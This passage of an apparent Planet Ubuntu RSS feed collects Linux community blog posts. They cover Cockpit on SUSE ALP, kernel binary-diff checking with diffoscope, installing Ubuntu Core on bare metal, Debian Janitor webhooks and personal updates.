</span></span><span style="display: flex;"><span>}
</span></span></code></pre></div><p>…where password SHA512 hash can be obtained using <code>openssl passwd -6</code> and the ssh key is your public ssh key.</p>
<p>That file is put to eg /tmp and referred in the virt-manager’s XML like follows:</p>
<div class="highlight"><pre style="-moz-tab-size: 4; -o-tab-size: 4; background-color: #272822; color: #f8f8f2; tab-size: 4;" tabindex="0"><code class="language-bash" data-lang="bash"><span style="display: flex;"><span>  &lt;sysinfo type<span style="color: #f92672;">=</span><span style="color: #e6db74;">"fwcfg"</span>&gt;
</span></span><span style="display: flex;"><span>    &lt;entry name<span style="color: #f92672;">=</span><span style="color: #e6db74;">"opt/com.coreos/config"</span> file<span style="color: #f92672;">=</span><span style="color: #e6db74;">"/tmp/config.ign"</span>/&gt;
</span></span><span style="display: flex;"><span>  &lt;/sysinfo&gt;
</span></span></code></pre></div><p>Now we can boot up the VM and ssh in - or you could log in directly too but it’s easier to copy-paste commands when using ssh.</p>
<p>Inside the VM, we can follow the ALP documentation to install and start Cockpit:</p>
<div class="highlight"><pre style="-moz-tab-size: 4; -o-tab-size: 4; background-color: #272822; color: #f8f8f2; tab-size: 4;" tabindex="0"><code class="language-bash" data-lang="bash"><span style="display: flex;"><span>podman container runlabel install registry.opensuse.org/suse/alp/workloads/tumbleweed_containerfiles/suse/alp/workloads/cockpit-ws:latest
</span></span><span style="display: flex;"><span>podman container runlabel --name cockpit-ws run registry.opensuse.org/suse/alp/workloads/tumbleweed_containerfiles/suse/alp/workloads/cockpit-ws:latest
</span></span><span style="display: flex;"><span>systemctl enable --now cockpit.service
</span></span></code></pre></div><p>Check your host’s IP address with <code>ip -a</code>, and open IP:9090 in your host’s browser:</p>
<p><img alt="Cockpit login screen" src="https://timojyrinki.gitlab.io/hugo/post/2022-12-10-alp-cockpit/cockpit-login.png" /></p>
<p>Login with root / your password and you shall get the front page:</p>
<p><img alt="Cockpit front page" src="https://timojyrinki.gitlab.io/hugo/post/2022-12-10-alp-cockpit/cockpit-frontpage.png" /></p>
<p>…and many other pages where you can manage your ALP deployment via browser:</p>
<p><img alt="Cockpit podman page" src="https://timojyrinki.gitlab.io/hugo/post/2022-12-10-alp-cockpit/cockpit-subpage.png" /></p>
<p>All in all, ALP is in early phases but I’m really happy there’s 
up-to-date documentation provided and people can start experimenting it 
whenever they want. The images from the linked directory should be 
fairly good, and <a href="https://openqa.opensuse.org/group_overview/100">test automation</a> with openQA has been started upon as well.</p>
<p>You can try out the <a href="https://documentation.suse.com/alp/all/single-html/alp/index.html#reference-available-alp-workloads">other</a> example workloads that are available just as well.</p>]]></description>
      <source url="http://losca.blogspot.com/feeds/posts/default/-/ubuntu?alt=rss">Timo Jyrinki</source>
    </item>
    <item>
      <title>Clipboard content to file. New app</title>
      <link>https://costales.github.io/posts/clipboard-to-file/</link>
      <guid isPermaLink="true">https://costales.github.io/posts/clipboard-to-file/</guid>
      <pubDate>Sat, 22 Oct 2022 08:29:27 GMT</pubDate>
      <description><![CDATA[A simple, easy, fast and useful way to paste your clipboard content (text or image) into a file!
Previously, you had to open editor, paste your clipboard, save file, close editor. Now, right click and choose the menu &ldquo;Clipboard to file&rdquo;!
HOW DOES IT WORK? TEXT Copy a text into your clipboard.
Go to your file browser and do a right click:
Into empty area / &ldquo;Clipboard to file&rdquo; menu: Will create the file clipboard-X.]]></description>
      <source url="https://costales.github.io/tags/planet/index.xml">Costales</source>
    </item>
    <item>
      <title>Ubuntu bug fix anniversary</title>
      <link>https://jeremy.bicha.net/2022/10/17/ubuntu-bug-fix-anniversary/</link>
      <guid isPermaLink="true">https://jeremy.bicha.net/2022/10/17/ubuntu-bug-fix-anniversary/</guid>
      <pubDate>Mon, 17 Oct 2022 13:54:46 GMT</pubDate>
      <description><![CDATA[<p class="wp-block-paragraph">I first installed Ubuntu when Ubuntu 6.06 LTS &#8220;Dapper Drake&#8221; was released. I was brand new to Linux. This was Ubuntu&#8217;s first LTS release; the very first release of Ubuntu was only a year and a half before. I was impressed by how usable and useful the system was. It soon became my primary home operating system and I wanted to help make it better.</p>



<p class="wp-block-paragraph">On October 15, 2009, I was <a rel="noreferrer noopener" href="https://irclogs.ubuntu.com/2009/10/15/%23edubuntu.html#t16:16" target="_blank">helping test</a> the release candidates ISOs for the Ubuntu 9.10 release. Specifically, I tested Edubuntu. Edubuntu has since been discontinued but at the time it was an official Ubuntu flavor preloaded with lots of education apps. One of those education apps was <a rel="noreferrer noopener" href="https://moodle.org/" target="_blank">Moodle</a>, an e-learning platform.</p>



<p class="wp-block-paragraph">When testing Moodle, I found that a default installation would make Moodle impossible to use locally. I figured out how to fix this issue. This was really exciting: I finally found an Ubuntu bug I knew how to fix. I filed the <a rel="noreferrer noopener" href="https://launchpad.net/bugs/452622" target="_blank">bug report</a>.</p>



<p class="wp-block-paragraph">This was very late in the Ubuntu 9.10 release process and Ubuntu was in the <a rel="noreferrer noopener" href="https://wiki.ubuntu.com/FinalFreeze" target="_blank">Final Freeze</a> state. In Final Freeze, every upload to packages included in the default install need to be individually approved by a member of the Ubuntu Release Team. Also, I didn&#8217;t have upload rights to Ubuntu. Jordan Mantha (<em>LaserJock</em>), an Edubuntu maintainer, sponsored my bug fix upload.</p>



<p class="wp-block-paragraph">I also forwarded my patch <a href="https://bugs.debian.org/551402">to Debian</a>.</p>



<p class="wp-block-paragraph">While trying to figure out what wasn&#8217;t working with Moodle, I stumbled across a packaging bug. Edubuntu provided a choice of MySQL or PostgreSQL for the system default database. MySQL was the default, but if PostgreSQL were chosen instead, Moodle wouldn&#8217;t work. I figured out how to fix <a rel="noreferrer noopener" href="https://launchpad.net/bugs/440098" target="_blank">this bug</a> too a week later. Jordan sponsored this upload and Steve Langasek from the Release Team approved it so it also was able to be fixed before 9.10 was released.</p>



<p class="wp-block-paragraph">Although the first bug was new to 9.10 because of a behavior change in a low-level dependency, this PostgreSQL bug existed in stable Ubuntu releases. Therefore, I prepared <a href="https://wiki.ubuntu.com/StableReleaseUpdates" target="_blank" rel="noreferrer noopener">Stable Release Updates </a>for Ubuntu 9.04 and Ubuntu 8.04 LTS.</p>



<h2 class="wp-block-heading">Afterwards</h2>



<p class="wp-block-paragraph">Six months later, I was able to attend my first Ubuntu Developer Summit. I was living in Bahrain (in the Middle East) at the time and a trip to Belgium seemed easier to me than if I were living in the United States where I usually live. This was the Ubuntu Developer Summit where planning for Ubuntu 10.10 took place. I like to believe that I helped with the naming since I <a href="https://wiki.ubuntu.com/DevelopmentCodeNames?action=diff&amp;rev1=594&amp;rev2=595">added</a> <em>Maverick</em> to the wiki page where people contribute suggestions.</p>



<p class="wp-block-paragraph">I did not apply for financial sponsorship to attend and I stayed in a budget hotel on the other side of Brussels. The <a href="https://wiki.ubuntu.com/UDS-M" target="_blank" rel="noreferrer noopener">event venue</a> was on the outskirts of Brussels so there wasn&#8217;t a direct bus or metro line to get there. I rented a car. I didn&#8217;t yet have a smartphone and I had a LOT of trouble navigating to and from the site every day. I learned then that it&#8217;s best to stay close to the conference site since a lot of the event is actually in the unstructured time in the evenings. Fortunately, I managed to arrive in time for Mark Shuttleworth&#8217;s keynote where the Unity desktop was first announced. This was released in Ubuntu 10.10 in the Ubuntu Netbook Remix and became the default for Ubuntu Desktop in Ubuntu 11.04.</p>



<p class="wp-block-paragraph">Ubuntu&#8217;s switch to Unity provided me with a huge opportunity. In April 2011, GNOME 3.0 was released. I wanted to try it but it wasn&#8217;t yet packaged in Ubuntu or Debian. It was suggested that I could help work on packaging the major new version in a <a rel="noreferrer noopener" href="https://help.launchpad.net/Packaging/PPA" target="_blank">PPA</a>. The PPA was convenient because I was able to get permission to upload there easier than being able to upload directly to Ubuntu. My contributions there then enabled me to get upload rights to the Ubuntu Desktop packages later that year.</p>



<p class="wp-block-paragraph">At a later Ubuntu Developer Summit, it was suggested that I start an official Ubuntu flavor for GNOME. So along with Tim Lunn (<em>darkxst</em>), I co-founded Ubuntu GNOME. Years later, Canonical stopped actively developing Unity; instead, Ubuntu GNOME was merged into Ubuntu Desktop.</p>



<p class="wp-block-paragraph">Along the way, I became an <a href="https://wiki.ubuntu.com/UbuntuDevelopers#Ubuntu_Core_Developers" target="_blank" rel="noreferrer noopener">Ubuntu Core Developer</a> and a <a href="https://wiki.debian.org/DebianDeveloper" target="_blank" rel="noreferrer noopener">Debian Developer</a>. And in January 2022, I joined Canonical on the Desktop Team. This all still feels amazing to me. It took me a long time to be comfortable calling myself a developer!</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">My first Ubuntu bugfix was 13 years ago this week. Because Ubuntu historically uses alphabetical adjective animal release names, 13 years means that we have rolled around to the letter K again! Later today, we begin release candidate ISO testing for Ubuntu 22.10 &#8220;Kinetic Kudu&#8221;.</p>



<p class="wp-block-paragraph">I encourage you to help us test the release candidates and report bugs that you find. If you figure out how to fix a bug, we still <a href="https://wiki.ubuntu.com/SponsorshipProcess">sponsor</a> bug fixes. If you are an Ubuntu contributor, I highly encourage you to attend an Ubuntu Summit if you can. The first Ubuntu Summit in years will be in 3 weeks in Prague, but the intent is for the Ubuntu Summits to be recurring events again.</p>]]></description>
      <source url="https://jeremy.bicha.net/category/ubuntu/feed/?mrss=off">Jeremy Bicha</source>
    </item>
    <item>
      <title>finding binary differences</title>
      <link>https://outflux.net/blog/archives/2022/06/24/finding-binary-differences/</link>
      <guid isPermaLink="true">https://outflux.net/blog/archives/2022/06/24/finding-binary-differences/</guid>
      <pubDate>Fri, 24 Jun 2022 20:11:48 GMT</pubDate>
      <description><![CDATA[<p>As part of the continuing work to <a href="https://github.com/KSPP/linux/issues/79">replace 1-element arrays in the Linux kernel</a>, it&#8217;s very handy to show that a source change has had no executable code difference. For example, if you started with this:</p>
<pre class="brush:c">
struct foo {
    unsigned long flags;
    u32 length;
    u32 data[1];
};

void foo_init(int count)
{
    struct foo *instance;
    size_t bytes = sizeof(*instance) + sizeof(u32) * (count - 1);
    ...
    instance = kmalloc(bytes, GFP_KERNEL);
    ...
};
</pre>
<p>And you changed only the struct definition:</p>
<pre class="brush:diff">
-    u32 data[1];
+    u32 data[];
</pre>
<p>The <code>bytes</code> calculation is going to be incorrect, since it is still subtracting 1 element&#8217;s worth of space from the desired count. (And let&#8217;s ignore for the moment the open-coded calculation that may end up with an arithmetic over/underflow here; that can be solved separately by using the <code>struct_size()</code> helper or the <code>size_mul()</code>, <code>size_add()</code>, etc family of helpers.)</p>
<p>The missed adjustment to the size calculation is relatively easy to find in this example, but sometimes it&#8217;s much less obvious how structure sizes might be woven into the code. I&#8217;ve been checking for issues by using the fantastic <a href="https://diffoscope.org/">diffoscope</a> tool. It can produce a LOT of noise if you try to compare builds without keeping in mind the issues solved by <a href="https://docs.kernel.org/kbuild/reproducible-builds.html">reproducible builds</a>, with some additional notes. I prepare my build with the &#8220;known to disrupt code layout&#8221; options disabled, but with debug info enabled:</p>
<pre class="brush:shell">
$ KBF="KBUILD_BUILD_TIMESTAMP=1980-01-01 KBUILD_BUILD_USER=user KBUILD_BUILD_HOST=host KBUILD_BUILD_VERSION=1"
$ OUT=gcc
$ make $KBF O=$OUT allmodconfig
$ ./scripts/config --file $OUT/.config \
        -d GCOV_KERNEL -d KCOV -d GCC_PLUGINS -d IKHEADERS -d KASAN -d UBSAN \
        -d DEBUG_INFO_NONE -e DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT
$ make $KBF O=$OUT olddefconfig
</pre>
<p>Then I build a stock target, saving the output in &#8220;before&#8221;. In this case, I&#8217;m examining <code>drivers/scsi/megaraid/</code>:</p>
<pre class="brush:shell">
$ make -jN $KBF O=$OUT drivers/scsi/megaraid/
$ mkdir -p $OUT/before
$ cp $OUT/drivers/scsi/megaraid/*.o $OUT/before/
</pre>
<p>Then I patch and build a modified target, saving the output in &#8220;after&#8221;:</p>
<pre class="brush:shell">
$ vi the/source/code.c
$ make -jN $KBF O=$OUT drivers/scsi/megaraid/
$ mkdir -p $OUT/after
$ cp $OUT/drivers/scsi/megaraid/*.o $OUT/after/
</pre>
<p>And then run <code>diffoscope</code>:</p>
<pre class="brush:shell">
$ diffoscope $OUT/before/ $OUT/after/
</pre>
<p>If <code>diffoscope</code> output reports nothing, then we&#8217;re done. <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f973.png" alt="🥳" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>Usually, though, when source lines move around other stuff will shift too (e.g. <code>WARN</code> macros rely on line numbers, so the bug table may change contents a bit, etc), and <code>diffoscope</code> output will look noisy. To examine just the executable code, the command that <code>diffoscope</code>  used is reported in the output, and we can run it directly, but with possibly shifted line numbers not reported. i.e. running <code>objdump</code> without <code>--line-numbers</code>:</p>
<pre class="brush:shell">
$ ARGS="--disassemble --demangle --reloc --no-show-raw-insn --section=.text"
$ for i in $(cd $OUT/before && echo *.o); do
        echo $i
        diff -u <(objdump $ARGS $OUT/before/$i | sed "0,/^Disassembly/d") \
                <(objdump $ARGS $OUT/after/$i  | sed "0,/^Disassembly/d")
done
</pre>
<p>If I see an unexpected difference, for example:</p>
<pre class="brush:diff">
-    c120:      movq   $0x0,0x800(%rbx)
+    c120:      movq   $0x0,0x7f8(%rbx)
</pre>
<p>Then I'll search for the pattern with line numbers added to the <code>objdump</code> output:</p>
<pre class="brush:shell">
$ vi <(objdump --line-numbers $ARGS $OUT/after/megaraid_sas_fp.o)
</pre>
<p>I'd search for "0x0,0x7f8", find the source file and line number above it, open that source file at that position, and look to see where something was being miscalculated:</p>
<pre class="brush:shell">
$ vi drivers/scsi/megaraid/megaraid_sas_fp.c +329
</pre>
<p>Once tracked down, I'd start over at the "patch and build a modified target" step above, repeating until there were no differences. For example, in the starting example, I'd also need to make this change:</p>
<pre class="brush:diff">
-    size_t bytes = sizeof(*instance) + sizeof(u32) * (count - 1);
+    size_t bytes = sizeof(*instance) + sizeof(u32) * count;
</pre>
<p>Though, as hinted earlier, better yet would be:</p>
<pre class="brush:diff">
-    size_t bytes = sizeof(*instance) + sizeof(u32) * (count - 1);
+    size_t bytes = struct_size(instance, data, count);
</pre>
<p>But sometimes adding the helper usage will add binary output differences since they're performing overflow checking that might saturate at <code>SIZE_MAX</code>. To help with patch clarity, those changes can be done separately from fixing the array declaration.</p>
<p style='text-align:left'>&copy; 2022 - 2023, <a href="https://outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/4.0/">Creative Commons Attribution-ShareAlike 4.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/4.0/"><img decoding="async" alt="CC BY-SA 4.0" style="border-width:0" src="https://i.creativecommons.org/l/by-sa/4.0/88x31.png" /></a> </p>]]></description>
      <source url="http://outflux.net/blog/archives/category/ubuntu/feed">Kees Cook</source>
    </item>
    <item>
      <title>How much does my flight sponsor Vladimir?</title>
      <link>http://blog.markvdb.be/2022/04/how-much-does-my-flight-sponsor-vladimir.html</link>
      <guid isPermaLink="true">http://blog.markvdb.be/2022/04/how-much-does-my-flight-sponsor-vladimir.html</guid>
      <pubDate>Thu, 07 Apr 2022 15:20:00 GMT</pubDate>
      <description><![CDATA[<p>&nbsp;I regularly fly between Belgium and my second home country Latvia. How much am I sponsoring Vladimir when doing that? About 25€. Back of the envelope calculation.<br /></p><ul style="text-align: left;"><li>CRL - RIX return = 330 kg CO2 (<a href="https://flights.google.com">source</a>)<br /></li><li>1 l jet fuel a1 = 2.52 kg CO2 (<a href="https://www.verifavia.com/greenhouse-gas-verification/fq-how-are-aircraft-co2-emissions-calculated-11.php">source</a>)</li><li>1 l jet fuel = 0.85€ (<a href="https://www.iata.org/en/publications/economics/fuel-monitor/">source</a>, some currency and SI conversion required)</li><li>refinery and distribution margin ~ 15% (conservative ballpark guesstimate based upon price/barrel for crude and jet a1 fuel)</li><li>percentage of Russian crude in EU: 27% (<a href="https://ec.europa.eu/eurostat/cache/infographs/energy/bloc-2c.html">source</a>)</li><li>(330/2.52)*.85*.85*.27 = 25.55€</li></ul><p>P.S. More source countries have "interesting" policies. For example. 8% of EU imports are from Saudi Arabia.</p><p>P.P.S. Our upcoming holiday will be by night train. Exciting!<br /></p>]]></description>
      <source url="http://blog.markvdb.be/feeds/posts/full/-/english/ubuntu">Mark Van den Borre</source>
    </item>
    <item>
      <title>All-remote workspace at home</title>
      <link>https://svij.org/blog/2021/12/05/all-remote-workspace-at-home/</link>
      <guid isPermaLink="true">https://svij.org/blog/2021/12/05/all-remote-workspace-at-home/</guid>
      <pubDate>Sun, 05 Dec 2021 15:10:00 GMT</pubDate>
      <description><![CDATA[<p>It&rsquo;s been a little over 1,5 years since I joined GitLab as my first all remote
company. About half a year ago, I wrote about what <a href="https://svij.org/blog/2021/04/12/one-year-at-gitlab-7-things-which-i-didnt-expect-to-learn/">I learned in one year at GitLab</a>.
In this blog post I will describe my setup how I work because I got several
questions about it over the last time. I can also blame <a href="twitter.com/dnsmichi/">dnsmichi</a>
who published a similar post <a href="https://dnsmichi.at/all-remote-workspace/">about his setup</a> ;-).</p>
<p>I can certainly recommend the page about <a href="https://about.gitlab.com/company/culture/all-remote/workspace/">&ldquo;Considerations for a Productive Home Office
or Remote Workspace“</a>
in the GitLab Handbook about <a href="https://about.gitlab.com/company/culture/all-remote/">All-Remote</a>.</p>
<h1 id="the-desk">The Desk</h1>
<p>Even long before I worked from home full time I bought a standing desk. I own
a IKEA Bekant which only has a &ldquo;up&rdquo; and &ldquo;down&rdquo; button which is a bit annoying
since I always have to hold the button when I want to move the desk up or down.
Back in 2017 I&rsquo;ve written a blog post about <a href="https://svij.org/blog/2017/04/08/hohenverstellbarer-schreibtisch-nach-zwei-jahren-im-einsatz/">my experiences with it in German</a>.</p>
<p>It&rsquo;s also always good to have some sort of cable management hidden underneath the
desktop. Otherwise, your legs will always touch the cables, and it will look ugly.</p>
<p>As part of the desk, I do have three (or should I say four?) arms mounted. One
for my 32&rdquo; 4K Samsung Screen, one for my Notebook-Stand, one for my microphone
and an additional cheap „magic arm“ for my Canon EOS 700D which I use as a
Webcam.</p>
<h1 id="the-screen">The Screen</h1>
<p>As mentioned above, I&rsquo;m using a 32&quot; Samsung 4K display. A lot of folks I know
are using ultra-widescreen monitors, which I personally do not like that much
because they most likely have a smaller resolution. I rather prefer to use a 4K
screen without scaling so that I have more space available for my windows.</p>
<p>I used to have a 28&quot; 4K screen, which was a bit small when you want to use it
without (much) scaling. Moving forward I hope I will not need to scale it though.
For now, my glasses are a good &ldquo;bugfix&rdquo; for my eyes, so I can work without
scaling on the system side.</p>
<h1 id="the-laptop-and-the-dockingstation">The Laptop and The Dockingstation</h1>
<p>I used to have Thinkpads in the past, but I recently switched to Dell XPS. I
have two Dell XPS 13. One for work (in white) and one private (in black).</p>
<p>While I personally prefer to run ArchLinux (btw I use Arch!) I&rsquo;m running the
latest Ubuntu LTS on my work laptop.</p>
<p>The laptop is connected to a <a href="https://www.caldigit.com/ts3-plus/">CalDigit
TS3-Plus</a> which is my docking station.
This was one of the few docking station which supported 4K@60Hz back when I bought
this. I would prefer a docking station with more USB-ports. Right now I have another
USB-Hub (hidden under the desktop) because the ports provided by most of the
docking stations out there are not really enough for me.</p>
<h1 id="audio-and-video">Audio and Video</h1>
<p>As already mentioned above, I use my Canon EOS 700D as my webcam. I&rsquo;ll mostly
use an 18-55mm lens. The camera is connected to an <a href="https://www.elgato.com/en/cam-link-4k">elgato Cam Link 4k</a>.
The biggest downside of this setup currently is that the format is not perfect,
as the HDMI-output has two black bars on the left and right side of the video.</p>
<p>I try to keep my background as boring as possible, that&rsquo;s why all of you will
mostly only see my yellow wall behind me.</p>
<p>As a microphone, I use an <a href="https://m-audio.de/uber-mic">M-Audio Uber-Mic</a>. It&rsquo;s
being used in meetings and also for my (German) podcast <a href="tilpod.net">TILpod</a>
which I record remotely with <a href="https://dirk.deimeke.ruhr/">Dirk Deimeke</a>. For
listening in meetings and also for videos/music, I&rsquo;m using my Sony WH-1000X3.</p>
<h1 id="lighting">Lighting</h1>
<p>I do not have a perfect lighting solution yet. I do have a small desk light
which is okay for the desk itself but not for video calls. The main light
in my office is an <a href="https://www.ikea.com/de/de/p/floalt-led-lichtpaneel-dimmbar-weissspektrum-20436317/">IKEA Floalt</a>
which can be dimmed.</p>
<h1 id="what-else-is-on-the-desk">What else is on the desk?</h1>
<ul>
<li>Stream Deck, mostly for changing audio settings</li>
<li>a mechanical keyboard (HyperX with brown Cherry MX switches)</li>
<li>a boring Logitech mouse</li>
<li>a big mouse pad</li>
<li>a wrist rest pad</li>
<li>some old Logitech speaker</li>
<li>a Brother printer/scanner</li>
<li>a YubiKey 5 NFC</li>
<li>a few (water) bottles</li>
</ul>
<h1 id="what-do-i-use-for-on-the-go">What do I use for on the go?</h1>
<p>I didn&rsquo;t really travel that much for obvious reasons. However, I do have these
items as well:</p>
<ul>
<li>a no-name 8-in-1 Hub with multiple USB-Ports, HDMI, microSD and SD and USB-C
Power Delivery.</li>
<li>a cheap no-name clip-on micrphone because the Laptop-internal microphone are mostly crappy anyway</li>
<li>a LAN cable just in case</li>
<li>a USB-C cable</li>
<li>my Sony WH-1000X3</li>
</ul>]]></description>
      <source url="https://svij.org/tags/ubuntu-planet/index.xml">Sujeevan Vijayakumaran</source>
    </item>
    <item>
      <title>Impish Indri Ubuntu-fr t-shirt</title>
      <link>https://people.ubuntu.com/~olivier.fraysse/index.xml#of202110202210</link>
      <guid isPermaLink="true">https://people.ubuntu.com/~olivier.fraysse/index.xml#of202110202210</guid>
      <pubDate>Wed, 20 Oct 2021 22:10:00 GMT</pubDate>
      <description><![CDATA[<p>
		      <a href="https://www.instagram.com/ohocelot/">Ocelot</a> did it again! The French speaking Ubuntu community is happy to present you his splendid Impish Indri t-shirt. :) <a href="https://enventelibre.org/fr/ubuntu-fr/198-t-shirt-ubuntu-impish-indri.html">You can buy it before the end of October</a> for €15 (+ shipping costs) and receive it at the end of November 2021. You can try to buy it later but it will be more expensive and you will not have any garanty of stock.</p>
      <img src="https://enventelibre.org/577-large_default/t-shirt-ubuntu-impish-indri.jpg" width="400"/>]]></description>
      <source url="https://people.ubuntu.com/~olivier.fraysse/index.xml">Olivier Fraysse</source>
    </item>
    <item>
      <title>Installing Ubuntu Core onto 64-bit Bare Metal</title>
      <link>http://cheesehead-techblog.blogspot.com/2021/10/installing-ubuntu-core-onto-64-bit-bare.html</link>
      <guid isPermaLink="true">http://cheesehead-techblog.blogspot.com/2021/10/installing-ubuntu-core-onto-64-bit-bare.html</guid>
      <pubDate>Thu, 07 Oct 2021 21:29:00 GMT</pubDate>
      <description><![CDATA[<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuk987IroGVgQPdvjergW-ggKWyw7m85Hdg-Qku_Yfcx4nHIJbLxSSctEDdBPGuEzzgR45iT1NJ7WG_LK1tp385QJgVur40L1Ni16ye00xUeA7K8gCQKwGtEgU7pB9p80EaW_RNDzaMTyB/s2048/IMG_20211007_112319360.jpg" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuk987IroGVgQPdvjergW-ggKWyw7m85Hdg-Qku_Yfcx4nHIJbLxSSctEDdBPGuEzzgR45iT1NJ7WG_LK1tp385QJgVur40L1Ni16ye00xUeA7K8gCQKwGtEgU7pB9p80EaW_RNDzaMTyB/w200-h150/IMG_20211007_112319360.jpg" width="200" /></a></div>

<p>I have a re-purposed AMD64 laptop motherboard, ready to become an experimental Ubuntu Core server.</p>
<p>It's in fine condition. You can see that it boots an Ubuntu LiveUSB's "Try Ubuntu" environment just fine. Attached to the motherboard is a new 60GB SSD for testing. The real server will use a 1TB HDD.</p>
<p>But Ubuntu Core doesn't install on bare metal from a Live USB. It's still easy, though.</p>

<p>1. Boot a "Try Ubuntu" Environment on the target system.</p>

<ul style="text-align: left;">
  <li>Test your network connection. The picture shows a wireless connection. This particular laptop has a wireless chip that is recognized out-of-the box, so I didn't need to get out the long network cable.</li>
  <li>Test that your storage device works. You can see in the picture that Gnome Disks can see the storage device.</li>
</ul>

<p>2. Terminal: <code>sudo fdisk -l</code>. Locate the storage device that you want to install Ubuntu Core onto.</p>

<ul style="text-align: left;">
  <li>The entire storage device will be erased.</li>
  <li>My storage device is at /dev/sda today. It might be different next boot. Yours might be different.</li>
</ul>

<p>3. Open the web browser and download Ubuntu Core.</p>

<ul style="text-align: left;">
  <li>Ubuntu Core 20 (stable) is at <a href="https://cdimage.ubuntu.com/ubuntu-core/20/stable/current/" target="_blank">https://cdimage.ubuntu.com/ubuntu-core/20/stable/current/</a></li><li>My file was called ubuntu-core-20-amd64.img.xz. The download is a .img.xz file, not a .iso file</li><li>Your browser downloads to your Downloads directory, of course.</li>
</ul>

<p>4. Write Ubuntu Core to the storage device.</p>

<ul>
  <li><b>Warning</b>: This command will erase your entire storage device. If there is anything valuable on your storage device, then you have skipped too many steps!<br />
  <pre>xzcat Downloads/&lt;.img.xz file&gt; | sudo dd of=/dev/&lt;target_storage_device&gt; bs=32M status=progress; sync</pre></li>
  <li>So mine was<br /><pre>xzcat Downloads/ubuntu-core-20-amd64.img.xz | sudo dd of=/dev/sda bs=32M status=progress; sync</pre></li>
  <li>Source: <a href="https://ubuntu.com/download/intel-nuc" target="_blank">https://ubuntu.com/download/intel-nuc</a></li>
</ul>

<p>5. Reboot into Ubuntu Core.</p>

<ul style="text-align: left;">
  <li>When prompted by the "Try Ubuntu" environment, remove the LiveUSB so you are booting from your newly-written storage device.</li>
  <li>Be patient. My first boot into Ubuntu Core led to a black screen for nearly a minute before the system acknowledged that it actually has been working the entire time.</li>
  <li>After 3-4 minutes of non-interactive setup alternating between blank screens and scrolling setup output, Ubuntu Core finally asked me two questions:&nbsp; Which network to connect to, and my <a href="https://login.ubuntu.com/" target="_blank">Ubuntu SSO</a> e-mail address.</li>
  <li>Finally, the system rebooted again. This time it didn't ask any question - just displayed the new Ubuntu Core system's IP address.</li>
</ul>

<p>6. Log into Ubuntu Core.</p>

<ul>
  On my Desktop:<br />
  <pre>me@Desktop:~$ ssh me@192.168.1.x
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)</pre></ul>

Success: A working Ubuntu Core on bare metal.]]></description>
      <source url="http://cheesehead-techblog.blogspot.com/feeds/posts/default/-/planet-ubuntu">Ian Weisser</source>
    </item>
    <item>
      <title>Web Hooks for the Janitor</title>
      <link>https://www.jelmer.uk/janitor-webhooks.html</link>
      <guid isPermaLink="true">https://www.jelmer.uk/janitor-webhooks.html</guid>
      <pubDate>Mon, 06 Sep 2021 20:00:00 GMT</pubDate>
      <description><![CDATA[<p class="italic">The <a class="reference external" href="https://jelmer.uk/debian-janitor.html">Debian Janitor</a> is an automated
system that commits fixes for (minor) issues in Debian packages that can be
fixed by software. It gradually started proposing merges in early
December. The first set of changes sent out ran <a class="reference external" href="https://salsa.debian.org/jelmer/lintian-brush">lintian-brush</a> on sid packages maintained in
Git. This post is part of <a class="reference external" href="https://jelmer.uk/tag/janitor-update.html">a series</a> about the progress of the&nbsp;Janitor.</p>
<p>As covered in <a class="reference external" href="https://www.jelmer.uk/fresh-builds.html">my post from last week</a>, the Janitor now regularly tries to
import new upstream git snapshots or upstream releases into packages in <a class="reference external" href="https://wiki.debian.org/DebianUnstable">Sid</a>.</p>
<div class="section" id="moving-parts">
<h2>Moving&nbsp;parts</h2>
<p>There are about 30,000 packages in sid, and it usually takes a couple of weeks
for the janitor to cycle through all of them. Generally speaking, there are up
to three moving targets for each&nbsp;package:</p>
<ul class="simple">
<li>The packaging repository; <a class="reference external" href="https://qa.debian.org/cgi-bin/vcswatch">vcswatch</a> regularly scans this for changes,
and notifies the janitor when a repository has changed. For <a class="reference external" href="https://salsa.debian.org">salsa</a>
repositories it is instantly notified through a web&nbsp;hook</li>
<li>The upstream release tarballs; the <span class="caps">QA</span> watch service regularly polls these,
and the janitor scans for changes in the <span class="caps">UDD</span> tables with watch data (used for
<a class="reference external" href="https://janitor.debian.net/fresh-releases/">fresh-releases</a>)</li>
<li>The upstream repository; there is no service in Debian that watches this at
the moment (used for
<a class="reference external" href="https://janitor.debian.net/fresh-snapshots/">fresh-snapshots</a>)</li>
</ul>
<p>When the janitor notices that one of these three targets has changed, it
prioritizes processing of a package - this means that a push to a packaging
repository on salsa usually leads to a build being kicked off within 10
minutes. New upstream releases are usually noticed by <span class="caps">QA</span> watch within a day or
so and then lead to a build. Now commits in upstream repositories don&#8217;t get
noticed&nbsp;today.</p>
<p>Note that there are no guarantees; the scheduler tries to be clever and not
e.g. rebuild the same package over and over again if it&#8217;s constantly changing
and takes a long time to&nbsp;build.</p>
<p>Packages without priority are processed with a scoring system that takes into
account perceived value (based on e.g. popcon), cost (based on wall-time
duration of previous builds) and likelihood of success (whether recent builds
were successful, and how frequently the repositories involved&nbsp;change).</p>
</div>
<div class="section" id="webhooks-for-upstream-repositories">
<h2>webhooks for upstream&nbsp;repositories</h2>
<p>At the moment there is no service in Debian (yet - perhaps this is something
that vcswatch or a sibling service could also do?) that scans upstream
repositories for&nbsp;changes.</p>
<p>However, if you maintain an upstream package, you can use a webhook to notify
the janitor that commits have been made to your repository, and it will create
a new package in fresh-snapshots. Webhooks from the
following hosting site software are currently&nbsp;supported:</p>
<ul class="simple">
<li><a class="reference external" href="https://github.com/">GitHub</a></li>
<li><a class="reference external" href="https://gitlab.com/">Gitlab</a></li>
<li><a class="reference external" href="https://launchpad.net/">Launchpad</a></li>
<li><a class="reference external" href="https://gitea.io/">Gitea</a></li>
<li><a class="reference external" href="https://gogs.io/">Gogs</a></li>
</ul>
